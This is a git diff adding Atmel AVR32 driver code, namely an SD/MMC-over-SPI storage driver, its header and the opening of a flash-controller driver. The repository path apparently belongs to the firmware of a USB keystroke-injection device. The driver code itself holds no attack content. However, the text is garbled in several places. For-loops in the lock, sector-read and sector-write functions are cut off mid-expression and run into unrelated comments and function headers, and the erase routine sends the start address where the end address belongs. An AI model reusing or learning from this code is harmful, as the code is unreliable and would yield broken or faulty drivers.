STATUS regsiter of the memory card +//! After a read the error flags are automatically cleared +//! +//! @return bit +//! The open succeeded -> OK +Bool sd_mmc_spi_get_status(void) +{ + uint8_t retry, spireg; + + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) + return KO; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + + // send command + spi_write(SD_MMC_SPI,MMC_SEND_STATUS | 0x40); // send command + spi_write(SD_MMC_SPI,0); // send parameter + spi_write(SD_MMC_SPI,0); + spi_write(SD_MMC_SPI,0); + spi_write(SD_MMC_SPI,0); + spi_write(SD_MMC_SPI,0x95); // correct CRC for first command in SPI (CMD0) + // after, the CRC is ignored + // end command + // wait for response + // if more than 8 retries, card has timed-out and return the received 0xFF + retry = 0; + r2 = 0xFFFF; + spireg = 0xFF; + while((spireg = sd_mmc_spi_send_and_read(0xFF)) == 0xFF) + { + retry++; + if(retry > 10) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + return KO; + } + } + r2 = ((uint16_t)(spireg) << 8) + sd_mmc_spi_send_and_read(0xFF); // first byte is MSb + + spi_write(SD_MMC_SPI,0xFF); // give clock again to end transaction + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + + return OK; +} + + +//! +//! @brief This function waits until the SD/MMC is not busy. +//! +//! @return bit +//! OK when card is not busy +Bool sd_mmc_spi_wait_not_busy(void) +{ + uint32_t retry; + + // Select the SD_MMC memory gl_ptr_mem points to + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + retry = 0; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) != 0xFF) + { + retry++; + if (retry == 200000) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + return KO; + } + } + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + return OK; +} + + + +//! +//! @brief This function check the presence of a memory card +//! - if the card was already initialized (removal test), the host send a CRC_OFF command (CMD59) and check the answer +//! - if the card was not already initialized (insertion test), the host send a CMD0 reset command and check the answer +//! +//! @return bit +//! The memory is present (OK) +//! The memory does not respond (disconnected) (KO) +Bool sd_mmc_spi_check_presence(void) +{ + uint16_t retry; + + retry = 0; + if (sd_mmc_spi_init_done == false) + { + // If memory is not initialized, try to initialize it (CMD0) + // If no valid response, there is no card + while ((r1 = sd_mmc_spi_send_command(MMC_GO_IDLE_STATE, 0)) != 0x01) + { + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + retry++; + if (retry > 10) + return KO; + } + return OK; + } + else + { + // If memory already initialized, send a CRC command (CMD59) (supported only if card is initialized) + if ((r1 = sd_mmc_spi_send_command(MMC_CRC_ON_OFF, 0)) == 0x00) + return OK; + sd_mmc_spi_init_done = false; + return KO; + } +} + + +//! +//! @brief This function performs a memory check on the SD_MMC. +//! +//! +//! @return bit +//! The memory is ready -> OK +//! The memory check failed -> KO +Bool sd_mmc_spi_mem_check(void) +{ + if (sd_mmc_spi_check_presence() == OK) + { + if (sd_mmc_spi_init_done == false) + { + return sd_mmc_spi_internal_init(); + } + else + return OK; + } + return KO; +} + + + +//! +//! @brief This function checks if the card is password-locked +//! Old versions of MMC card don't support this feature ! +//! For a MMC, "lock protection" is featured from v2.1 release ! +//! => see CSD[0]<5:2> bits to know the version : 0x0=1.x, 0x1=1.4, 0x2=2.x, 0x3=3.x, 0x4=4.0 +//! +//! @return bit +//! Password protected -> OK +//! NOT password protected -> KO (or card not initialized) +Bool is_sd_mmc_spi_write_pwd_locked(void) +{ + if (card_type == MMC_CARD) + { + if (((csd[0] >> 2) & 0x0F) < 2) // lock feature is not present on the card since the MMC is v1.x released ! + return KO; + } + if (KO == sd_mmc_spi_get_status()) // get STATUS response + return KO; + if ((r2&0x0001) != 0) // check "card is locked" flag in R2 response + return OK; + + return KO; +} + + +//! +//! @brief This function manages locking operations for the SD/MMC card (password protection) +//! - Once the card is locked, the only commands allowed are UNLOCK and FORCED_ERASE +//! - Once the card is unlocked, the commands allowed are all the others +//! - Before setting a new password (SET_PWD), the current one must be cleared (RESET_PWD) +//! - If card contains a password (PWDSLEN != 0), the card will automatically be locked at start-up +//! +//! /!\ Take care that old versions of MMC cards don't support this feature ! +//! For a MMC, "lock protection" is featured only from v2.1 release ! +//! => see CSD[0]<5:2> bits to know the version : 0x0=1.x, 0x1=1.4, 0x2=2.x, 0x3=3.x, 0x4=4.0 +//! Moreover the OP_FORCED_ERASE command can also have no effect on some cards ! +//! +//! @param operation +//! OP_LOCK -> to lock the card (the current pasword must be specified) +//! OP_UNLOCK -> to unlock the card (the current password must be specified) +//! OP_RESET_PWD -> to clear the current password (the current password must be specified) +//! OP_SET_PWD -> to set a new password to the card (the old password must have been cleared first) +//! OP_FORCED_ERASE -> to erase completely the card and the password (no password needed) +//! @param pwd_lg +//! Password length +//! @param pwd +//! Pointer on the password (char array) to send +//! +//! @return bit +//! Operation succeeded -> OK +//! Operation failed -> KO +Bool sd_mmc_spi_lock_operation(uint8_t operation, uint8_t pwd_lg, uint8_t * pwd) +{ + Bool status = OK; + uint8_t retry; + + // check parameters validity + if ((operation != OP_FORCED_ERASE) && (pwd_lg == 0)) // password length must be > 0 + return KO; + + // wait card not busy + if (sd_mmc_spi_wait_not_busy() == KO) + return KO; + + // set block length + if (operation == OP_FORCED_ERASE) + r1 = sd_mmc_spi_send_command(MMC_SET_BLOCKLEN, 1); // CMD + else + r1 = sd_mmc_spi_send_command(MMC_SET_BLOCKLEN, pwd_lg+2); // CMD + PWDSLEN + PWD + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + if (r1 != 0x00) + return KO; + + // send the lock command to the card + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + + // issue command + r1 = sd_mmc_spi_command(MMC_LOCK_UNLOCK, 0); + + // check for valid response + if(r1 != 0x00) + { + status = KO; + } + // send dummy + spi_write(SD_MMC_SPI,0xFF); // give clock again to end transaction + + // send data start token + spi_write(SD_MMC_SPI,MMC_STARTBLOCK_WRITE); + // write data + spi_write(SD_MMC_SPI,operation); + if (operation != OP_FORCED_ERASE) + { + spi_write(SD_MMC_SPI,pwd_lg); + for(retry=0 ; retry OK +Bool sd_mmc_spi_read_open (uint32_t pos) +{ + // Set the global memory ptr at a Byte address. + gl_ptr_mem = pos << 9; // gl_ptr_mem = pos * 512 + + // wait for MMC not busy + return sd_mmc_spi_wait_not_busy(); +} + + +//! +//! @brief This function unselects the current SD_MMC memory. +//! +Bool sd_mmc_spi_read_close (void) +{ + if (KO == sd_mmc_spi_wait_not_busy()) + return false; + return true; +} + + +//! +//! @brief This function opens a SD_MMC memory in write mode at a given sector +//! address. +//! +//! NOTE: If page buffer > 512 bytes, page content is first loaded in buffer to +//! be partially updated by write_byte or write64 functions. +//! +//! @param pos Sector address +//! +//! @return bit +//! The open succeeded -> OK +Bool sd_mmc_spi_write_open (uint32_t pos) +{ + // Set the global memory ptr at a Byte address. + gl_ptr_mem = pos << 9; // gl_ptr_mem = pos * 512 + + // wait for MMC not busy + return sd_mmc_spi_wait_not_busy(); +} + + +//! +//! @brief This function fills the end of the logical sector (512B) and launch +//! page programming. +//! +void sd_mmc_spi_write_close (void) +{ + +} + +//! +//! @brief This function allow to read multiple sectors +//! +//! @param nb_sector the number of sector to read +//! @return bit +//! The read succeeded -> OK +Bool sd_mmc_spi_read_multiple_sector(uint16_t nb_sector) +{ + while (nb_sector--) + { + // Read the next sector + sd_mmc_spi_read_sector_to_ram(sector_buf); + sd_mmc_spi_read_multiple_sector_callback(sector_buf); + } + + return OK; +} + +//! +//! @brief This function allow to write multiple sectors +//! +//! @param nb_sector the number of sector to write +//! @return bit +//! The write succeeded -> OK +Bool sd_mmc_spi_write_multiple_sector(uint16_t nb_sector) +{ + while (nb_sector--) + { + // Write the next sector + sd_mmc_spi_write_multiple_sector_callback(sector_buf); + sd_mmc_spi_write_sector_from_ram(sector_buf); + } + + return OK; +} + +//! @brief This function erase a group of sectors +//! NOTE : Erasing operation concerns only groups of sectors and not one sector only +//! The global variable "erase_group_size" (extracted from CSD) contains the sector group size boundary +//! User specifies the addresses of the first group and the last group to erase (several contiguous groups can be selected for erase) +//! An misaligned address will not generate an error since the memory card ignore the LSbs of the address +//! Some examples (with "erase_group_size" = 0x20 = group boundary) : +//! - adr_start=0x100 and adr_end=0x100, all the sectors from 0x100 up to 0x11F will be erased +//! - adr_start=0x90 and adr_end=0x100, all the sectors from 0x80 up to 0x11F will be erased (0x90 interpreted as 0x80) +//! - adr_start=0x80 and adr_end=0x146, all the sectors from 0x80 up to 0x15F will be erased +//! This function just initiates a transmission, user may get status register to check that operation has succeeded +//! After an erase, a MMC card contains bits at 0, and SD can contains bits 0 or 1 (according to field DATA_STAT_AFTER_ERASE in the CSD) +//! +//! @param adr_start address of 1st group (sector address, not byte address) +//! @param adr_end address of last group (sector address, not byte address) +//! +//! @return bit +//! The erase operation succeeded (has been started) -> OK +//! The erase operation failed (not started) -> KO +Bool sd_mmc_spi_erase_sector_group(uint32_t adr_start, uint32_t adr_end) +{ + uint8_t cmd; + + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) + return KO; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + + // send address of 1st group + if (card_type == MMC_CARD) + { cmd = MMC_TAG_ERASE_GROUP_START; } + else + { cmd = SD_TAG_WR_ERASE_GROUP_START; } + + if(card_type == SD_CARD_2_SDHC) { + r1 = sd_mmc_spi_command(cmd,adr_start); + } else { + r1 = sd_mmc_spi_command(cmd,(adr_start << 9)); + } + + if (r1 != 0) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + return KO; + } + spi_write(SD_MMC_SPI,0xFF); + + // send address of last group + if (card_type == MMC_CARD) + { cmd = MMC_TAG_ERASE_GROUP_END; } + else + { cmd = SD_TAG_WR_ERASE_GROUP_END; } + + if(card_type == SD_CARD_2_SDHC) { + r1 = sd_mmc_spi_command(cmd,adr_start); + } else { + r1 = sd_mmc_spi_command(cmd,(adr_start << 9)); + } + + if (r1 != 0) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + return KO; + } + spi_write(SD_MMC_SPI,0xFF); + + // send erase command + if ((r1 = sd_mmc_spi_command(MMC_ERASE,0)) != 0) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + return KO; + } + spi_write(SD_MMC_SPI,0xFF); + + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + + return OK; +} + + +//! Stop PDCA transfer +//! @brief This function closes a PDCA read transfer +//! page programming. +//! +void sd_mmc_spi_read_close_PDCA (void) +{ + + // load 16-bit CRC (ignored) + spi_write(SD_MMC_SPI,0xFF); + spi_write(SD_MMC_SPI,0xFF); + + // continue delivering some clock cycles + spi_write(SD_MMC_SPI,0xFF); + spi_write(SD_MMC_SPI,0xFF); + + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + +} + + + +//! Reading using PDCA +//! @brief This function opens a SD_MMC memory in read mode at a given sector +//! address. +//! +//! NOTE: If page buffer > 512 bytes, page content is first loaded in buffer to +//! be partially updated by write_byte or write64 functions. +//! +//! @param pos Sector address +//! +//! @return bit +//! The open succeeded -> OK +//!/ +Bool sd_mmc_spi_read_open_PDCA (uint32_t pos) +{ + uint16_t read_time_out; + + // Set the global memory ptr at a Byte address. + gl_ptr_mem = pos << 9; // gl_ptr_mem = pos * 512 + + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) + return KO; + + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + + // issue command + if(card_type == SD_CARD_2_SDHC) { + r1 = sd_mmc_spi_command(MMC_READ_SINGLE_BLOCK, gl_ptr_mem>>9); + } else { + r1 = sd_mmc_spi_command(MMC_READ_SINGLE_BLOCK, gl_ptr_mem); + } + + // check for valid response + if (r1 != 0x00) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return KO; + } + + // wait for token (may be a datablock start token OR a data error token !) + read_time_out = 30000; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) == 0xFF) + { + read_time_out--; + if (read_time_out == 0) // TIME-OUT + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return KO; + } + } + + // check token + if (r1 != MMC_STARTBLOCK_READ) + { + spi_write(SD_MMC_SPI,0xFF); + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return KO; + } + return OK; // Read done. +} + + +//! @brief This function read one MMC sector and load it into a ram buffer +//! +//! DATA FLOW is: SD/MMC => RAM +//! +//! +//! NOTE: +//! - First call (if sequential read) must be preceded by a call to the sd_mmc_spi_read_open() function +//! +//! @param ram pointer to ram buffer +//! +//! @return bit +//! The read succeeded -> OK +//! The read failed (bad address, etc.) -> KO +//!/ +Bool sd_mmc_spi_read_sector_to_ram(void *ram) +{ + uint8_t *_ram = ram; + uint16_t i; + uint16_t read_time_out; + unsigned short data_read; + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) + return KO; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + + // issue command + if(card_type == SD_CARD_2_SDHC) { + r1 = sd_mmc_spi_command(MMC_READ_SINGLE_BLOCK, gl_ptr_mem>>9); + } else { + r1 = sd_mmc_spi_command(MMC_READ_SINGLE_BLOCK, gl_ptr_mem); + } + + // check for valid response + if (r1 != 0x00) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return KO; + } + + // wait for token (may be a datablock start token OR a data error token !) + read_time_out = 30000; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) == 0xFF) + { + read_time_out--; + if (read_time_out == 0) // TIME-OUT + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return KO; + } + } + + // check token + if (r1 != MMC_STARTBLOCK_READ) + { + spi_write(SD_MMC_SPI,0xFF); + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return KO; + } + + // store datablock + for(i=0;i SD/MMC +//! +//! +//! NOTE (please read) : +//! - First call (if sequential write) must be preceded by a call to the sd_mmc_spi_write_open() function +//! - An address error will not detected here, but with the call of sd_mmc_spi_get_status() function +//! - The program exits the functions with the memory card busy ! +//! +//! @param ram pointer to ram buffer +//! +//! @return bit +//! The write succeeded -> OK +//! The write failed -> KO +//! +Bool sd_mmc_spi_write_sector_from_ram(const void *ram) +{ + const uint8_t *_ram = ram; + uint16_t i; + + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) + return KO; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + + // issue command + if(card_type == SD_CARD_2_SDHC) { + r1 = sd_mmc_spi_command(MMC_WRITE_BLOCK, gl_ptr_mem>>9); + } else { + r1 = sd_mmc_spi_command(MMC_WRITE_BLOCK, gl_ptr_mem); + } + + // check for valid response + if(r1 != 0x00) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + return KO; + } + // send dummy + spi_write(SD_MMC_SPI,0xFF); // give clock again to end transaction + + // send data start token + spi_write(SD_MMC_SPI,MMC_STARTBLOCK_WRITE); + // write data + for(i=0;i the memory is not write-protected (always) +//!/ +Bool sd_mmc_spi_wr_protect(void) +{ + return false; +} + + +//! +//! @brief This function tells if the memory has been removed or not. +//! +//! @return false -> The memory isn't removed +//!/ +Bool sd_mmc_spi_removal(void) +{ + return false; +// return ((OK == sd_mmc_spi_check_presence()) ? false : true); +} + + + +//------------ STANDARD FUNCTIONS to read/write the memory -------------------- + +#if ACCESS_USB == ENABLED + +#include "usb_drv.h" +#include "scsi_decoder.h" + + + +Ctrl_status sd_mmc_spi_usb_read_10(uint32_t addr, uint16_t nb_sector) +{ +Bool status; + + if (sd_mmc_spi_init_done == false) + { + sd_mmc_spi_mem_init(); + } + + if (sd_mmc_spi_init_done != true) + return CTRL_NO_PRESENT; + + Sd_mmc_spi_access_signal_on(); + + if( !sd_mmc_spi_read_open(addr) ) + goto sd_mmc_spi_usb_read_10_fail; + + if( !sd_mmc_spi_read_multiple_sector(nb_sector) ) + goto sd_mmc_spi_usb_read_10_fail; + + if( !sd_mmc_spi_read_close() ) + goto sd_mmc_spi_usb_read_10_fail; + + Sd_mmc_spi_access_signal_off(); + return CTRL_GOOD; + +sd_mmc_spi_usb_read_10_fail: + Sd_mmc_spi_access_signal_off(); + return CTRL_FAIL; +} + + +void sd_mmc_spi_read_multiple_sector_callback(const void *psector) +{ + uint16_t data_to_transfer = MMC_SECTOR_SIZE; + + while (data_to_transfer) + { + while (!Is_usb_in_ready(g_scsi_ep_ms_in)); + + Usb_reset_endpoint_fifo_access(g_scsi_ep_ms_in); + data_to_transfer = usb_write_ep_txpacket(g_scsi_ep_ms_in, psector, + data_to_transfer, &psector); + Usb_ack_in_ready_send(g_scsi_ep_ms_in); + } +} + + + +Ctrl_status sd_mmc_spi_usb_write_10(uint32_t addr, uint16_t nb_sector) +{ + Bool status; + + if (sd_mmc_spi_init_done == false) + { + sd_mmc_spi_mem_init(); + } + + if (sd_mmc_spi_init_done == true) + { + Sd_mmc_spi_access_signal_on(); + sd_mmc_spi_write_open(addr); + status = sd_mmc_spi_write_multiple_sector(nb_sector); + sd_mmc_spi_write_close(); + Sd_mmc_spi_access_signal_off(); + if (status == OK) + return CTRL_GOOD; + else + return CTRL_NO_PRESENT; + } + else + return CTRL_NO_PRESENT; +} + + +void sd_mmc_spi_write_multiple_sector_callback(void *psector) +{ + uint16_t data_to_transfer = MMC_SECTOR_SIZE; + + while (data_to_transfer) + { + while (!Is_usb_out_received(g_scsi_ep_ms_out)); + + Usb_reset_endpoint_fifo_access(g_scsi_ep_ms_out); + data_to_transfer = usb_read_ep_rxpacket(g_scsi_ep_ms_out, psector, + data_to_transfer, &psector); + Usb_ack_out_received_free(g_scsi_ep_ms_out); + } +} + +#endif // ACCESS_USB == ENABLED + + +//------------ Standard functions for read/write 1 sector to 1 sector ram buffer ----------------- + +#if ACCESS_MEM_TO_RAM == ENABLED + +Ctrl_status sd_mmc_spi_mem_2_ram(uint32_t addr, void *ram) +{ + Sd_mmc_spi_access_signal_on(); + sd_mmc_spi_check_presence(); + + if (sd_mmc_spi_init_done == false) + { + sd_mmc_spi_mem_init(); + } + + if (sd_mmc_spi_init_done != true) + return CTRL_NO_PRESENT; + + if( !sd_mmc_spi_read_open(addr) ) + goto sd_mmc_spi_mem_2_ram_fail; + + if( !sd_mmc_spi_read_sector_to_ram(ram)) + goto sd_mmc_spi_mem_2_ram_fail; + + if( !sd_mmc_spi_read_close() ) + goto sd_mmc_spi_mem_2_ram_fail; + + Sd_mmc_spi_access_signal_off(); + return CTRL_GOOD; + +sd_mmc_spi_mem_2_ram_fail: + Sd_mmc_spi_access_signal_off(); + return CTRL_FAIL; +} + + +//! This fonction initialises the memory for a write operation +//! from ram buffer to SD/MMC (1 sector) +//! +//! DATA FLOW is: RAM => SD/MMC +//! +//! (sector = 512B) +//! @param addr Sector address to write +//! @param ram Ram buffer pointer +//! +//! @return Ctrl_status +//! It is ready -> CTRL_GOOD +//! An error occurs -> CTRL_FAIL +//! +Ctrl_status sd_mmc_spi_ram_2_mem(uint32_t addr, const void *ram) +{ + Sd_mmc_spi_access_signal_on(); + sd_mmc_spi_check_presence(); + + if (sd_mmc_spi_init_done == false) + { + sd_mmc_spi_mem_init(); + } + + if (sd_mmc_spi_init_done == true) + { + sd_mmc_spi_write_open(addr); + if (KO == sd_mmc_spi_write_sector_from_ram(ram)) + { + sd_mmc_spi_write_close(); + Sd_mmc_spi_access_signal_off(); + return CTRL_NO_PRESENT; + } + sd_mmc_spi_write_close(); + Sd_mmc_spi_access_signal_off(); + return CTRL_GOOD; + } + Sd_mmc_spi_access_signal_off(); + + return CTRL_NO_PRESENT; +} + + +#endif // ACCESS_MEM_TO_RAM == ENABLED + + +#endif // SD_MMC_SPI_MEM == ENABLE diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.h new file mode 100755 index 0000000..a052654 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.h @@ -0,0 +1,188 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief CTRL_ACCESS interface for SD/MMC card. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices with an SPI module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _SD_MMC_SPI_MEM_H_ +#define _SD_MMC_SPI_MEM_H_ + + +#include "conf_access.h" + +#if SD_MMC_SPI_MEM == DISABLE + #error sd_mmc_spi_mem.h is #included although SD_MMC_SPI_MEM is disabled +#endif + + +#include "ctrl_access.h" + + +//_____ D E F I N I T I O N S ______________________________________________ + +#define SD_MMC_REMOVED 0 +#define SD_MMC_INSERTED 1 +#define SD_MMC_REMOVING 2 + + +//---- CONTROL FONCTIONS ---- +//! +//! @brief This function initializes the hw/sw resources required to drive the SD_MMC_SPI. +//!/ +extern void sd_mmc_spi_mem_init(void); + +//! +//! @brief This function tests the state of the SD_MMC memory and sends it to the Host. +//! For a PC, this device is seen as a removable media +//! Before indicating any modification of the status of the media (GOOD->NO_PRESENT or vice-versa), +//! the function must return the BUSY data to make the PC accepting the change +//! +//! @return Ctrl_status +//! Media is ready -> CTRL_GOOD +//! Media not present -> CTRL_NO_PRESENT +//! Media has changed -> CTRL_BUSY +//!/ +extern Ctrl_status sd_mmc_spi_test_unit_ready(void); + +//! +//! @brief This function gives the address of the last valid sector. +//! +//! @param *nb_sector number of sector (sector = 512B). OUT +//! +//! @return Ctrl_status +//! Media ready -> CTRL_GOOD +//! Media not present -> CTRL_NO_PRESENT +//!/ +extern Ctrl_status sd_mmc_spi_read_capacity(uint32_t *nb_sector); + +//! +//! @brief This function returns the write protected status of the memory. +//! +//! Only used by memory removal with a HARDWARE SPECIFIC write protected detection +//! ! The user must unplug the memory to change this write protected status, +//! which cannot be for a SD_MMC. +//! +//! @return false -> the memory is not write-protected (always) +//!/ +extern Bool sd_mmc_spi_wr_protect(void); + +//! +//! @brief This function tells if the memory has been removed or not. +//! +//! @return false -> The memory isn't removed +//! +extern Bool sd_mmc_spi_removal(void); + + +//---- ACCESS DATA FONCTIONS ---- + +#if ACCESS_USB == ENABLED +// Standard functions for open in read/write mode the device + +//! +//! @brief This function performs a read operation of n sectors from a given address on. +//! (sector = 512B) +//! +//! DATA FLOW is: SD_MMC => USB +//! +//! @param addr Sector address to start the read from +//! @param nb_sector Number of sectors to transfer +//! +//! @return Ctrl_status +//! It is ready -> CTRL_GOOD +//! A error occur -> CTRL_FAIL +//! +extern Ctrl_status sd_mmc_spi_usb_read_10(uint32_t addr, uint16_t nb_sector); + +//! This fonction initialises the SD/MMC memory for a write operation +//! +//! DATA FLOW is: USB => SD_MMC +//! +//! (sector = 512B) +//! @param addr Sector address to start write +//! @param nb_sector Number of sectors to transfer +//! +//! @return Ctrl_status +//! It is ready -> CTRL_GOOD +//! An error occurs -> CTRL_FAIL +//! +extern Ctrl_status sd_mmc_spi_usb_write_10(uint32_t addr, uint16_t nb_sector); + +#endif // #if ACCESS_USB == ENABLED + +#if ACCESS_MEM_TO_RAM == ENABLED +// Standard functions for read/write 1 sector to 1 sector ram buffer + + +//! This fonction reads 1 sector from SD/MMC to internal ram buffer +//! +//! DATA FLOW is: SD/MMC => RAM +//! +//! (sector = 512B) +//! @param addr Sector address to read +//! @param ram Ram buffer pointer +//! +//! @return Ctrl_status +//! It is ready -> CTRL_GOOD +//! An error occurs -> CTRL_FAIL +//! +extern Ctrl_status sd_mmc_spi_mem_2_ram(uint32_t addr, void *ram); + +//! This fonction initialises the memory for a write operation +//! from ram buffer to SD/MMC (1 sector) +//! +//! DATA FLOW is: RAM => SD/MMC +//! +//! (sector = 512B) +//! @param addr Sector address to write +//! @param ram Ram buffer pointer +//! +//! @return Ctrl_status +//! It is ready -> CTRL_GOOD +//! An error occurs -> CTRL_FAIL +//! +extern Ctrl_status sd_mmc_spi_ram_2_mem(uint32_t addr, const void *ram); + +#endif // end #if ACCESS_MEM_TO_RAM == ENABLED + + +#endif // _SD_MMC_SPI_MEM_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/flashc/flashc.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/flashc/flashc.c new file mode 100755 index 0000000..13d48cc --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/flashc/flashc.c @@ -0,0 +1,1136 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief FLASHC driver for AVR32 UC3. + * + * AVR32 Flash Controller driver module. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices with a FLASHC module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#include +#include +#include "compiler.h" +#include "flashc.h" + + +/*! \name FLASHC Writable Bit-Field Registers + */ +//! @{ + +typedef union +{ + unsigned long fcr; + avr32_flashc_fcr_t FCR; +} u_avr32_flashc_fcr_t; + +typedef union +{ + unsigned long fcmd; + avr32_flashc_fcmd_t FCMD; +} u_avr32_flashc_fcmd_t; + +//! @} + + +/*! \name Flash Properties + */ +//! @{ + + +unsigned int flashc_get_flash_size(void) +{ +#if (AVR32_FLASHC_H_VERSION >= 300) + static const unsigned int FLASH_SIZE[1 << AVR32_FLASHC_PR_FSZ_SIZE] = + { + 4 << 10, + 8 << 